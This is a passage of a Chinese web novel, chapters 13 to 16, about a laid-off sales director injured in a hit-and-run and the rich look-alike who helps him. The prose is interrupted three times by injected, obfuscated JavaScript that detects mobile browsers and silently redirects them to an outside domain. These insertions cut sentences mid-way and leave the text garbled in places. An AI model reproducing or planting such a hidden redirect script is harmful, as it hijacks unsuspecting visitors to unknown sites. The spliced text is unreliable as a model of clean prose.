而对于腾云来说,何氏集团出了事情,如果不能尽快平息舆论,挺过偷税漏税的风波,代表着下一阶段腾云与何氏的订单合约可能不会续签。 同时,这件事涉及法律和舆论,如果何新非处理不好,集团的形象下降,那用户的购买力也就下降了,对何氏也是一个重创。 而好死不死,也不知道是谁买通了酒店,从酒店的摄像头里拿到了何新非在走廊上骚扰连江雪的视频,这件事情和录像一经媒体曝光,就登时引起了轩然大波,给本就存在岌岌可危的何氏公关形象又带来一记重创。 连拂雪也看到了那个新闻,可惜视频里走廊上连江雪的脸被码的严严实实的,看不出何新非骚扰的人是谁,只能看到对方身材不错,和自己有得一拼。 连江雪一个人,应该是没有那么大的能力去报复何新非的,毕竟如果不是这家新闻社后面有比何氏更硬的后台,他们是不敢随便曝光的。 那究竟是谁替连江雪出手了呢? 连拂雪吃着薯片,看着新闻,想破脑袋,也想不明白。 他索性不想了,阖上平板,洗澡睡觉。 何新非性\骚\扰事件闹的挺大的,由于证据确凿,警方也介入了,按照法律规定,可能要对何新非处以行政拘留。 舆论和实打实的有案底,又不是一个概念,虽然估计没过几天就放出来了,但这件事情,落在何新非身上,到底是一个污点。 何氏集团不得不召开新闻发布会去澄清和解释,可惜网友并不买账。 职场性\骚\扰这件事,一直是一个比较敏感的社会热点和痛点,如果不妥善处理, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142256|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领导高层被爆出丑闻,何氏集团的形象估计就保不住了。 当务之急,只能找到当事人连江雪,寻求谅解。 毕竟,如果当事人能出面,表示谅解,那能很好地平息大众的怒火。 何新非的妻子也不知道是哪里弄来了连江雪的个人住址信息,在连江雪照例出门送外卖的时候,径直将人堵在了小区门口。 连江雪看着这个妆容精致、一袭精致长裙、挡在自己面前的女人,捏着电动车车把手,不动声色地打量着她: “你是........?” “开个价吧。”女人的眼睛藏在香奈儿墨镜后面,看不太清晰,身上的香水味隔着三米,还能被连江雪精确的捕捉到,连江雪看着女人脖子上耀眼的钻石项链,缓缓移开了眼睛: “我不知道你在说什么。” 他说:“我很忙,先失陪了。” 言罢,他骑上小电驴就准备离开,站在女人身边的两个保镖就箭步冲上来,一个人握住他的车把手,一个人抓住他的后备箱,将他整个人卡的牢牢的,动弹不得。 连江雪:“.......” 他无语地看着女人,女人摘下墨镜,露出一双通红的眼睛,看着连江雪: “能谈谈吗,关于我们家老何的事情。” “?”连江雪迟疑:“难道你是.......” “我是杨自然,何新非的老婆。” 女人终于不卖关子,开始自爆家门: “网上关于他性骚扰你的事情,已经闹得沸沸扬扬。他前天已经被警方带走调查了,我想,这其中应该有你的手笔吧。” 连江雪这几天送外卖送的累死了,每天倒头就睡,还真没有空闲区关注这件事,惊讶道: “真的?” “你别说你不知道。” 杨自然虽然很看不上何新非的事情,但他毕竟是自己选的老公,就算自己想要秋后算账,也得先把人从里面捞出来才行: “你开个价吧,到底要多少,你才能让你背后的那个靠山,放过我家老何?” 连江雪看了一眼抓着他不放的保镖,随即慢慢地挑起眉头,道: “靠山?” 他反复品味了一下这两个字,只觉得好笑,心想自己家里就一个五十五岁的老爸,哪里有什么靠山,何新非自己自作孽,还觉得是有人害他,于是更加不给面子,道: “杨小姐,不是我不愿意放过何新非,是他不愿意放过我,一直咄咄逼人。今天他进去了,我也一点不意外,毕竟他这样没有下限的人,落得什么下场,都是应该的。” “........你!”杨自然没有想到连江雪会说这句话,登时气的额头绷起青筋,双唇用力抿紧, “你不要给脸不要脸........你到底想要怎么样?!” 如果杨自然对自己说几句软话,连江雪看在她也是个受害者的份上,也就愿意表示谅解了,毕竟那天他并没有让何新非得手,还恶狠狠地揍了他几拳。 但此刻杨自然的话,却让原本就没有打算原谅何新非的连江雪更加心如铁石,淡笑道: “我不想怎么样。” 他说:“杨小姐,世界不是靠着你们转的,不是所有的道歉,都可以被原谅。我是缺钱,但也没有那么缺,没必要拿尊严去还钱,对一个想性\骚\扰我的人大方表示不介意。” 连江雪用他那冷淡厌世的脸和表情,说着最恶毒的话: “所以我不要钱。如果可以,我甚至希望看见他能到牢在关到死为止。” 杨自然没想到连江雪竟然这么恶毒,气地嘴唇打颤,终于绷不住,猛地抬起手,就想要给连江雪一耳光。 连江雪不闪不躲,就这么直直地看向杨自然,两片薄唇吐出淡淡的几个字,立刻让杨自然的动作止在了空气里,再也落不下去: “你敢动我一下试试。” 他慢慢挑起半边眉头,半真半假道: “你就不怕我顶着你打我的痕迹,去找我背后的靠山.......告状吗?” 14.第 14 章 手掌稳稳停在了连江雪的侧脸,并没有往下落。 连江雪头都没有往旁边偏一寸,就这样直直地将目光落在杨自然的身上,一米九的身高使他即便坐在电动车上,浑身也散发着居高临下地逼人气势,清冷锐利的视线在日光下,如同钻石一般,闪烁着清泠泠的光泽,一时间竟然让人无法直视。 杨自然的手僵悬在半空中,迟迟无法落下。 连江雪见状,轻笑一声,径直拧紧电动车的把手,将车开了出去,没有理会在身后脸色铁青、气急败坏的杨自然。 他很忙,忙着糊口,没有时间去管这些糟心的事情。 俗话说,贱人自有天收,所以对于杨自然带来的这个“好消息”,连江雪乐得接受,并且一整天心情都还不错。 何新非的事情在网上闹的沸沸扬扬的,因为没有取得当事人的谅解,所以即便是何家请了最好的律师,何新非还是在局子里面蹲了几天,才被放出来。 吃了苦头的何新非一出来就开始气急败坏地找到底是谁把他的事情捅出去的,毕竟在容港,能和何家抗衡作对的人并不多,但很显然,能在背后阴他一把的人并没有露出马脚的意思,把尾巴收的干干净净的,何新非查了很久也没有查出到底是谁害的他,气地摔了好几套家具,甚至一连好几天没吃好饭睡好觉,原本就虚的脸看起来更虚了。 但这些事情,连江雪并不知道。 他照样每天都送外卖,因为天生冷白皮,并没有怎么晒黑,人倒是瘦了一大圈,卷起袖子做饭的时候,都能看见手臂处绷起的明显的青筋。 “宝贝,你怎么最近瘦了这么多。” 连云里伸出手,捏了捏连江雪的手臂,疑惑道: “最近工作压力很大吗?” “是啊,”连江雪将菜装盘,随口道: “隔壁一整个部门都被裁了。” “啊。”连云里呆了一下,接着反应过来,道: “你们年轻人现在就业压力是很大噢。” “是啊。”连江雪熟练地扯开话题: “爸爸,吃饭吧。” 他将菜放在桌上,给连云里盛好饭,紧接着将筷子递给连云里,道: “给。” 连云里的手垂落在身侧,试了一下,发现没能抬起来,于是不动神色道: “你放在碗上吧。我不饿,想先喝碗汤。” 连江雪没察觉到异常,点了点头,站起身将筷子放在饭碗上,紧接着抬手给连云里盛了一碗汤。 连云里说了一声谢谢,随即道:“汤太烫了,我晚点再喝。” 连江雪等下还急着去送外卖,也就没多想,低下头先吃饭。 他吃到一半的时候,连云里总算慢慢地抬手,喝起了汤。 他喝汤的速度很慢,连江雪都吃完了,他才喝完汤,开始吃饭。 “爸爸,我走了。” 连江雪吃完饭,用纸巾擦干净唇,随即站起身道: “我得去工作了。” “好噢。”连云里点了点头,道: “我看天气预报说下午会有雨,宝贝你上班路上小心。” 连江雪点了点头,起身出去了。 他找了一间公共厕所换好衣服,才骑着他的小电驴,从小区门口出来。 连云里说的没错,下午确实下起了雨,还是暴雨。 不过下雨送外卖,能赚的很多,所以即便下雨视线受限,还会淋雨,但连江雪还是不愿意放弃这个赚钱的机会,接了几单。 下雨天地板很滑,连江雪一直很注意行驶的速度,尽量不抢红绿灯。 但下雨天确实不好开车,连江雪送完奶茶单子,跑出小区,看有一单马上要超时了,因为怕被投诉,所以赶紧骑上小电驴,拧紧把手,加快了速度。 他在拐处小区转角处的时候,因为地段狭小,加上因为暴雨,路边的树往下歪斜了一点,树枝垂落下来,挡住了视线,连江雪刚将小电驴开出去,也不知道从哪里冲出来一辆丰田,径直撞向他。 巨大的冲击力将连江雪连人带车都撞了出去,连江雪两眼一黑,短暂的失重感过后,后背重重砸在地上,落地的几秒钟过去后,他才后知后觉地察觉到疼意。 好像五脏六腑都被从高空抛下,砸在僵硬的石面上,碎成千万片,拼都拼不起来,喉咙里涌出一片腥甜,连江雪疼的说不出话,第一反应就是爬起来,但是脚被死死压在电动车下面,好像已经被砸的脚腕错位了,一动整条腿都疼的发麻。 连江雪说不出话,但还是勉强抬起眼皮,借着车灯,看清了肇事车的车牌号。 司机连面都没露,好像不知道自己撞了人一样,将车开的飞快,眨眼间就不见了人影。 这里视线受限,撞到人是正常的,但是撞了人不仅不下来处理,还将车开的飞快,不是单纯的肇事逃逸,就是纯和连江雪有仇,故意报复连江雪的。 连江雪不知道这属于哪一种,但无论是哪一种,都不是他现在需要考虑的问题。 现在最需要考虑的,是他被车撞了,现在外面又下着大雨,路上根本就没有几个人。 在雨中淋了几分钟的大雨,冻的连江雪整个人都要成冰雕了,小区附近才路过两个女生。 她们见连江雪被压在电瓶车下动不了,赶紧跑过来,将电瓶车移开,随即伸出手,准备将连江雪扶起来。 连江雪身体应该有几处骨折了,一动就疼,他皱着眉头,满头大汗,努力冷静下来,努力提高音调,对女生道: “我好像骨折了,腿动不了。请帮我叫120,谢谢。” 女生见状,赶紧帮连江雪叫了120。 连江雪疼的受不了,但硬是等到亲眼看到救护车来,才放心地晕了过去。 等到醒来的时候,他已经躺在病房里了。 右手已经打上了石膏,两只脚脚腕都缠着绷带,一动就疼。 最疼的还是胸口,一呼吸,感觉整个胸腔都在发疼。 他醒来之后,第一时间先看了一眼周围的情况,见是医院,才慢慢放下心来。 放下心之后,他这才发现,自己好像手脚都负伤了。 他心里暗骂了一声,用着仅能使用的左手,如同乌龟一般,极其慢地坐起来,随即按了铃。 护士没一会儿就进来了。 连江雪礼貌道: “你好,我想请问一下送我来医院的那两个女生还在吗?” “她们说她们有事先走了。”护士看了连江雪一眼,道: “你双腿扭伤,胸部肋骨和右手骨折,好好休息一下吧。” 连江雪抬头看了一眼窗外,见天已经黑了,心道糟糕,想了想,又问: “我能出院吗?” “建议是不要。” 护士说:“你伤的挺重的,再观察几天吧。” 连江雪没办法了,只能重新靠回床上。 他从身上摸出手机,发现手机屏幕已经碎的不成样子了,但好在还能用。 他按亮手机屏幕,里面弹出了几个未接来电,连江雪定睛一看,都是连云里的。 连江雪深呼吸一口气,等到在心里打好腹稿之后,才给连云里拨去了电话。 连云里几乎是秒接,看样子是一直没睡,在等连江雪的电话: “喂,宝贝。” 他的声音里带着些许焦急,道: “还没有下班吗?” “嗯,爸爸,最近公司有一个项目急着上线,我这几天晚上都要加班,可能就睡在公司,不回家了。” 连江雪很淡定地扯谎: “爸爸,你别等我了,先睡吧。” 听到连江雪的声音,连云里果然冷静了不少。 他“嗯嗯”应了,又惯常啰嗦了几句,让连江雪注意身体,这才去睡觉了。 安抚完连云里之后,连江雪才拿出手机,打了110。 “喂你好,我要报警。” 电话接通之后,连江雪对着电话那头,冷静地说出了出车祸的地点、时间、肇事车辆的型号和车牌号,还有逃逸的方向。 接线员一开始还以为连江雪是目击者,细问之后,才知道连江雪是当事人,现在在医院里报的警,整个人都震惊了。 “好的,好的,这里会根据您提供的线索进行详细调查并出警,请您保持电话畅通,”接线员是个声音清亮的女警,顿了顿,又补充道: “先生,没有别的问题,我这边就去移交线索了,好好休息。” “好的。”连江雪想了想,又说: “如果你们能帮我查出那两个帮助我的女生就再好不过,我想好好感谢她们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149566|180012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“好的。” 电话挂断,将该做的事情都做完的连江雪才迟来地感觉到身上的疼。 他本想躺下,好好休息,但无奈,身上实在太疼了,他肋骨骨折,又不能翻身,疼的晚上睡都睡不着,保持着一个姿势,清醒地直到天亮。 白天的时候,他实在顶不住,吃了一点止痛药,睡了一会儿,但半梦半醒之间,很快又被来做笔录的警察叫醒,又提供了一些线索。 他躺在床上,睡又睡不着,饿又饿得慌,没法下床买东西吃,只能自己点外卖。 为了不挤占病人和医生上下电梯的空间,连江雪选择将外卖放在暂存点,再自己忍着脚伤,慢慢挪过去拿。 他去的太迟了,外卖都凉了,粥也坨了,连江雪单手艰难地打开盒子,努力驯服左手,使用勺子。 正吃饭的时候,电话忽然打了过来,连江雪看了一眼,见是连拂雪,想了想,还是接了起来: “喂。” “诶,我想问一下,何家那边不和我们合作了,该怎么办。” 连拂雪的声音从电话里传来,带着沙沙声: “如果何家不合作了,那岂不是损失了一个大客源吗?” 连江雪将凉粥送进口中,道: “何家不合作了,不是还有名城集团吗?我记得我走之前,是已经谈下来了的。” “不知道怎么回事,名城那边一直不愿意签合同,我让柯云飞亲自去谈,都谈不下来。” 连拂雪骂了一句: “阮泽城不在,现在公司里的事情都是他儿子阮寄水说了算。这个阮寄水,拽的很,柯云飞第一次去找他,还见了一面,第二次倒好,干脆人都见不到了。” “见不到就再约,谈生意哪有这么容易的,你........” 冰凉的粥滑进胃里,不仅起不到缓解饿觉的作用,反而刺激了胃神经。 连江雪疼的放下勺子,按了按胃部,想说的话说了一半,又咽进了肚子里。 “我什么。”连拂雪等不到他后半句,有点急了,道: “连江雪,这是你谈下来的单子,你该有始有终吧。” 连江雪没脾气了:“我都离职了,你还想我怎么样。” “你之前都能搞定阮泽成,我就不信,阮寄水还能比阮泽成更难搞。” 连拂雪妥协了:“你回来吧,只要你把名诚的单子谈下来,我就准你离职,还给你N+1赔偿。” N+1赔偿下来起码有十万左右,连江雪有点心动了,但他有心无力,只能道: “可是我被车撞了,现在还在医院里,你能等我几天吗?” “我靠!”连江雪话音刚落,电话里就传来连拂雪震惊的声音。 连江雪将手机拿远了一点,道: “不能等?那我明天就直接办出院好了。也不是不能去,就是打着石膏,不方便。” 连拂雪震惊的都不知道说什么了: “哥哥啊,你是铁人还是超人,被车撞了还能谈生意呢。” 还没等连江雪接这茬,连拂雪就说: “算了,合同的事情后面再说吧。你人在哪,我过来看看你。” 连江雪和他又不是很熟,于是道: “不用麻烦。” “你可是我来容港第一个交换了联系方式的人,就算之间发生了一些事情,闹得有些不愉快,但那不都解决了么,我们也算是半个朋友吧,我来看看你不行吗?” 连拂雪当机立断道: “地址发我,不然我让人去查了。” “.........”连江雪无奈:“容港市第一人民医院。” “行,来了。” 连拂雪抄起桌上的车钥匙就往门外走,一边走一边看了一眼落地窗外,难得贴心道: “很晚了,你饿了吗,要不要吃夜宵。” 连江雪犹豫,没说话:“........” “没拒绝就是想吃的意思。” 连拂雪笑了笑:“叫声哥哥,我就去给买夜宵吃。” 连江雪:“叫什么哥哥,说不定我比你大。” “怎么可能。”连拂雪说:“无论怎么看,我也比你成熟稳重很多吧—— 所以我肯定比你大。” 连江雪:“..........” 15.第 15 章 叫哥哥是不可能叫哥哥的,死都不会叫的。 连拂雪又不是不知道连江雪是什么性格的人,怎么可能会叫他哥哥,但他就是偏要犯这个贱。 连江雪不叫也就算了,如果叫了,连拂雪光想到那个画面,都能爽翻天。 可惜连拂雪还是对连江雪太了解了。 挂断电话之后,连江雪将彻底冷掉成团的粥放在一边,吃下止痛药,随即用左手支撑着身体,慢慢躺下,准备睡一会儿。 也不知道睡到什么时候,连江雪忽然感觉到脸颊上凉风嗖嗖的,他困意渐消,缓缓睁开眼睛一看,见一个熟悉的脸正在他面前逐渐放大。 连江雪被骤然吓了一跳,想要动,手上却打着石膏,一动就疼的呲牙咧嘴的,心脏砰砰跳动起来,撞得他肋骨发疼,眼前阵阵发黑。 连拂雪见状,拍了拍他的肩膀,道: “看见哥哥,就这么激动?” 连江雪被吓的心跳紊乱,差点成一条直线了:“.........滚。” “你竟然会说脏话!”连拂雪顺手将连江雪扶起来,靠在床头,惊讶道:“这一点也不符合你的气质!” “我该是什么气质。”连江雪坐起来,余光看见连拂雪手中提着的袋子,顿了顿,才道: “这是什么?” “不知道你喜欢吃什么,但想着你是病人,要吃清淡一点,就去街上买了一点白灼水牛肉和清汤面。” 连拂雪说:“能自己吃吗?不能吃我喂你。” “不用。”被一个大男人喂食物,怎么想,都觉得有点怪怪的,连江雪拿起筷子,艰难地驯服着自己的左手,夹起面条。 “慢点吃。”连拂雪随手将车钥匙丢到简易的饭桌上,环视一圈,随即顺手将帘子拉上,道: “这么吵的地方,你也能睡着?” “睡不着,但能有什么办法。”连江雪说: “我又不是少爷。” “我记得这家医院的院长好像是我同学的爸爸,我打个招呼试试,如果不行,就转到我朋友的私人医院去。” 连拂雪站在多人病房里,看着拥挤吵闹的地方,整个人都觉得有些头晕目眩的: “这也太吵了.......什么味啊?” “可能是隔壁那个大爷又失禁了。”连江雪冷静地吃着清汤面: “你小心点,别沾上了。” “我靠。”连拂雪赶紧往床边走了几步,最后索性坐了下来,抬头看着连江雪,震惊道: “这个味儿......你竟然还吃的下饭?!” “有什么吃不下的。”连江雪说:“再不吃就凉了。” 连拂雪正想说些什么,余光里看见地上放着的几乎没动的坨了的凉粥,似乎是想到了什么,想说的话又咽进肚子里,转而道: “你受伤了,你爸妈知道吗?没有通知他们来陪护吗?” “我有记忆起就没见过我妈,都不知道她是死是活。我爸身体不好,心动不方便,还是别让他来了。”连江雪说:“过几天我就说我要去出差,省的他起疑心。” “.........”连拂雪身体往前倾了倾,道: “你倒也是个报喜不报忧的性子。” 连江雪瞥了他一眼,随口道:“做子女不都是这样的吗?” 连拂雪:“.........” 他想到自己初高中的时候各种作死、叫家长的“光荣事迹”,忍不住摸了摸鼻子。 他想,连江雪这个样子,应该就是他爸爸江韵书最喜欢的那种孩子吧。 想到江韵书,连拂雪又莫名有些惆怅。 “......你怎么了?”看着连拂雪难得安静下来,不说话的样子,连江雪莫名有些犯怵,忍不住道: “你也想吃?” “.........我不吃,你吃吧。” 连拂雪回过神来,换了一个姿势斜倚桌子,道: “说起来,你是怎么被撞成这样的?” “下雨天,视线不佳,送外卖快超时了,车速就快了一点,拐弯被车撞了,司机肇事逃逸。” 连江雪说:“事故地点是监控死角,不过我记下了车牌号,应该很快就能抓到司机。” “.........”连拂雪没想到连江雪一个原科技公司的销售总监,竟然沦落到去送外卖的程度,一时间心情复杂: “那你这.......要多久才能恢复啊。” “骨折,起码三个月才能恢复。”连江雪说。 “你爸那边怎么交代。”连拂雪说:“总不能出差出三个月吧,而且万一他要求视频,你这打着石膏的手,迟早会暴露。” “.......走一步看一步吧。”连江雪也没想好要怎么对付过这三个月,于是敷衍道: “再说吧。” “实在不行,我替你回一趟家呗,反正我俩长的一样。”连拂雪尽出馊主意: “老人家上了年纪,眼神不好,他肯定认不出来。” 连江雪:“.......” 他抬起头,看了连拂雪一眼,没有吭声。 吃完饭,连拂雪帮他把吃剩的东西收了,扶着他躺下。 “你先睡吧。”连拂雪说:“合同的事情,等你伤好了再说。” 连江雪仰头看着他:“等我伤好了,黄花菜都凉了。” “那就不谈了。”连拂雪随口道:“最多回去被我爸骂一顿,反正从小到大,我已经被骂习惯了。” 连江雪:“........” 他有些无语,看了连拂雪一眼,被连拂雪劝着闭上了眼睛。 他睡熟之后,连拂雪就坐在旁边,看着连江雪。 病房是多人病房,很吵,连江雪的病床还临着厕所隔间,冲水和洗手来往的声音不绝,连拂雪没病都被吵的受不了,阴着脸出去抽烟了。 他抽完烟回来以后,刚好看见连江雪放在身边的手机在震动,便下意识走过去,看了一眼来电人提示。 来电人显示是官方来电,连拂雪想了想,没把连江雪叫起来,拿过手机,接听了电话: “喂,你好。” “喂,请问是连江雪先生吗?”电话里传来沉稳的女声。 连拂雪看了一眼好不容易睡着的连江雪,顿了顿,随即道: “我是他哥。” “原来是连先生的哥哥。”电话里的女人道: “你好。根据我们前几天的调查,发现前几天撞倒连江雪先生的那辆车,用的是假的驾驶车牌。车是在一个破旧小区发现的,驾驶他的司机离开小区后,也消失了,现在警方在加紧排查之中,请您再耐心等待一段时间。” 连拂雪:“..........” 他捻了捻指尖,道: “好的,我知道了。” 挂了电话之后,连拂雪才坐回床上,看着连江雪,无奈道:“你怎么这么倒霉啊,这都是些什么事。” 被人抢了职位也就算了,好好的开车走在路上,还能被车撞进医院,肋骨骨折,脚腕扭伤,现在别说是上班,连生活难以自理。 这其中任何一件事发生在连拂雪身上,连拂雪心态都能当场崩了,但连江雪甚至还很冷静,自己报了警,自己办住院,根本没有向家里示弱、透露半点信息。 连拂雪伸出手,将连江雪过长的额发拨到一边,随即道: “不过你别怕,哥哥帮你抓坏人。” 连江雪闭着眼睛,胸膛微微起伏,像是睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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连拂雪蹙起眉:“为什么?” “没钱。”连江雪说:“你看我像是住得起私人医院vip病房的人吗?” 连拂雪被气乐了:“那你就在这个.......环境里养病啊。” “没事,习惯就好了。”连江雪说:“但还是多谢你。” “放心吧,钱的事情,你不用担心。”连拂雪从小到大就没有因为钱的事情操过心,随意道: “大不了,我帮你出了这钱。” 连江雪摇头:“不用了。” “嘿你这人,怎么这么倔呢。”连拂雪说:“我抢了你的位置,你就不想从我身上拿点补偿?” “你不是答应给我N+1了吗?”连江雪说。 “这不是还没给吗?”连拂雪又好气又好笑: “得了,别扯了,明天我就给你转院,你老老实实养病吧。” 连江雪摇了摇头,正欲拒绝,连拂雪就凑过来,盯着连江雪的眼睛,低声笑道: “要是真觉得不好意思,就说句好听的,比如........叫声哥哥试试。” 连江雪静静看着连拂雪,相似的琥珀色眼珠里倒影出彼此一模一样的脸,并没有开口说话。 连拂雪等了一会儿,没等到想听的,“切”了一声,说了一句“没劲儿”,起身想要去上厕所。 但下一秒,连江雪就开了口,只一句话,就让连拂雪的身体定在了原地,彻底没有了动作: “谢谢。” 连江雪顿了顿,声音低了下去,轻而又轻,宛若山风清浅: “.........哥哥。” 16.第 16 章 连拂雪动了动指尖,下意识转过头去,看向连江雪。 但连江雪此时已经将头转过去,看向窗外,没有对上连拂雪的视线。 连拂雪轻笑一声,到底也没再得寸进尺,心情很好地出去上洗手间了。 上完洗手间,他临时接到柯云飞的电话,说明天要开会,和研发部一起讨论,要不要做一个新系统上市。 连拂雪第一反应是究竟是做什么类型的新系统,但他怕问出来会显得自己很傻逼,想说的话又咽了下去,只应声说好。 他到病房陪了一会儿连江雪,连江雪看他回来心事重重的,以为他累了,就让他先回去休息。 连拂雪摇了摇头,表示自己不困,想了想,又问,道: “公司准备上市一个新系统,你觉得有必要做吗?” 连江雪思考了一会儿: “是关于车机系统的吗?这个我个人认为可以做,不过具体还是要依据研发部那边的研发可行性报告来看。” 连拂雪有些惊讶,说:“研发部那边,你也有了解?” 连江雪“嗯”了一声:“我之前就是做研发的,后面从研发部转到销售部了。” 连拂雪说:“为什么要转?” “技术出头比较慢,而且销售如果做得好,可以挣更多。” 连江雪说:“我缺钱。” 连拂雪:“.........” 他看了连江雪一眼,又问了连江雪几个问题,一一得到解答之后,才起身回到了家。 第二天一早,他就回公司参会了。 研发部的术语比销售的还难懂,即便连江雪昨天晚上有和他说过一些要点,他还是很快就被绕晕了。 但为了不让别人觉得他不懂,他只能故作深沉地用笔记本做着笔记,还顺便让人把研发的可行性分析报告发给他。 一开完会,连拂雪就背着平板,带着报告去找连江雪了。 可怜连江雪一晚上没睡好,好不容易白天躺了一会儿,又被连拂雪叫了起来。 他睡眼惺忪地坐起来,刚躺好,连拂雪就一屁股坐在他床边,把平板架好,让他看: “这是今天开会我做的笔记,你看看。” 报告太长了,连江雪一时半会看不完,连拂雪见他没吃午饭,又跑出去,给他买了午饭。 他这样殷勤地往医院跑,照顾他,连江雪都不好意思不给他看,只能认认真真地看完,随即道: “从技术和人员上来看,是能做的,但是前期需要投入不少钱,还需要和财务那边对接,资金得得到保证。” “最近公司损失了阮氏和何氏两个单子,资金链估计有点紧张,如果需要开启这个新系统的项目,我建议,还是再磨一磨阮总,不然启动资金下不来,会很麻烦。” 连江雪放下平板: “实在不行,也可以找总部拨点钱。” “不行,”连拂雪将外卖盖子打开,摇头:“我才来没几个月就找我爸要钱,我爸肯定以为我没好好干活,又不学无术去了。” 连江雪抬起头,看了连拂雪一眼。 连拂雪反映了一会儿,才明白连江雪是什么意思,愤怒道: “我靠,我真的有好好干活!只不过我不是这个专业的,很多东西,我都不了解,所以不敢做决策罢了!” 连江雪接过筷子,看了连拂雪一眼,道: “你是学美术的?” “嗯。”连拂雪说:“美术和雕塑。” 他语气逐渐低落起来:“我本来打算今年办几场画展的,结果我爸临时把我调到容港,搞得我都没时间画画了。” “.......”连江雪看了他一眼,用左手夹起面条,道: “改天让我看看你的画。” “不用改天,我现在就能给你看。” 连拂雪拿起手机,从相册里翻出几张他画的很满意的画,兴致勃勃地给连江雪介绍起来: “这是我半年前完成的,纸本油画,画的是清晨的教堂........” 连拂雪一说起自己的专业,就开始滔滔不绝起来,包括颜色和角度、用的技法,显然都是非常熟悉的模样,和面对工作时抓耳挠腮的模样,大不相同。 连江雪虽然听不懂,但艺术是有共通性的,看着那过渡自然的颜色和宛如能够流动的清晨的空气,就知道这画是一副好画。 “这幅画前段时间在拍卖行被拍掉了。”连拂雪并没有提自己赚了多少钱,只道: “买下他的人一定是一个很有品味的人。” 连江雪:“........” 他没吭声。 毕竟他之前大学的时候,也去过不少地方的美术馆看展,但每次逛个十多分钟就出来了。 他是个没有多少艺术细胞的人,给他讲再多也是白搭。 于是他敷衍地应了一声连拂雪,连拂雪看出他不太感兴趣,也就不再说了,话题一转,两人又开始聊工作。 吃完午饭,连拂雪也不知道是从哪里拿出来一个轮椅,扶着连江雪坐了上去,带他办了转院。 连拂雪朋友的私人医院风景优美,因为走的是vip通道,都不需要排队看诊,专家就在连江雪的病房等着,给连江雪看病。 连江雪的病房也很大,自己单独一间,不用和别人挤在一块儿。 看着连拂雪和朋友站在一起时熟稔开玩笑的模样,连江雪将视线从围着他的专家身上收回,视线投向窗外,半晌缓缓眨了眨眼睛。 有钱真好。 可惜,天下没有白吃的午餐。 食君之禄,忠君之事,吃完饭的时候,连江雪主动问起了名诚的单子。 “医生说,下周我的脚就能好了,到时候我以你的名义去一趟名诚,和他们谈吧。” 连江雪说:“就让我去会一会这个小阮总。” “你愿意去?” 连拂雪很惊讶:“你之前不是死都不愿意回来吗?” “我是不愿意回来,但是又不是不能帮你。” 连江雪说:“一码归一码。” 连江雪不是不懂感恩的人,连拂雪虽然抢了他的位置,但平心而论,他也不是故意的,后面又帮他转了院,连江雪不想欠他的恩情,只想赶紧报完恩,然后拿“N+1”干净利落地离开腾云: “帮你拿下搞定小阮总,你就放我走吧。” 连拂雪看着连江雪,并没有马上说话,只是伸出手,拿了一个病房柜子前放的苹果,咔嚓咔嚓吃了起来: “你打算怎么搞定他?” “等见到他,了解情况过后,再想办法。” 连江雪说:“我好几天没睡好觉了,你让我躺一会儿。” 连拂雪闻言,吃苹果的动作一顿,看向连江雪时,轻轻哼了一声: “小没良心的,刚给你转完院,就想赶哥哥走啊?” 连江雪懒得理他,也不管他嘴巴上占的便宜,直接躺下,闭上眼睛睡了。 连拂雪还想再捉弄他,但看着连江雪疲惫的脸,联想到他今天拉着病号讨论工作这种“惨无人道”的行为,半晌也没有吭声,而是轻手轻脚地走出了病房。 他刚走出病房,手机铃声就响了起来。 他下意识以为是江韵书,拿起手机一看,发现原来是自己请的一个私家侦探给他打来了电话。 除了警方那边打过招呼,他还找了好几个私家侦探帮他找那个撞连江雪的人,因为给钱痛快还多,所以人家效率也很快,不到一天就给查出来了那个肇事司机的去向: “连总,我刚刚查到那个司机出了容港,正从国道开往秀城。” 连江雪将烟含在唇边,用打火机点燃,随即道: “找几个人,把他路给我堵了,在警方发现他之前,先送到我这里。” “好。” 两人之间的沟通很高效简洁,没一会儿就挂了电话。 连江雪已经答应了会帮连江雪处理名诚这边的时期,接下来只要等他谈成订单,拿到启动资金,开启新系统的研发就行了。 有了连江雪帮他,连拂雪就莫名有了安全感,这些天的惴惴不安总算有了排遣的出口。 他这几天都在忙着工作,很久没有出去找乐子了,给朋友打过电话,让他多关照连江雪之后,第二天一早,就开着车,出去找乐子了。 他今天没有去酒吧,而是去了马术俱乐部。 马术是那些富家公子哥小时候必须要学的,连拂雪到现场的时候,已经有不少人已经换好了衣服,正在挑选自己喜欢的马。 连拂雪直接去了马厩,挑了一匹马,等驯马师将马牵出来以后,就一踩马镫,跨了上去。 他自己骑了一圈,绕着场地转了一圈,怎么骑都觉得不如自己在京城养的那几匹马骑得舒服,干脆也不将就,直接下来了。 他将马还给驯马师,准备离开,岂料刚抬起头,就看见一个熟悉的背影正背对着他,站在马面前,似乎是在犹豫要不要上马。 连拂雪挑了挑眉头,见状悄悄走了过去,在阮寄水没有防备的时候,悄悄凑过去,在他耳边低声道: “怎么不上马?” 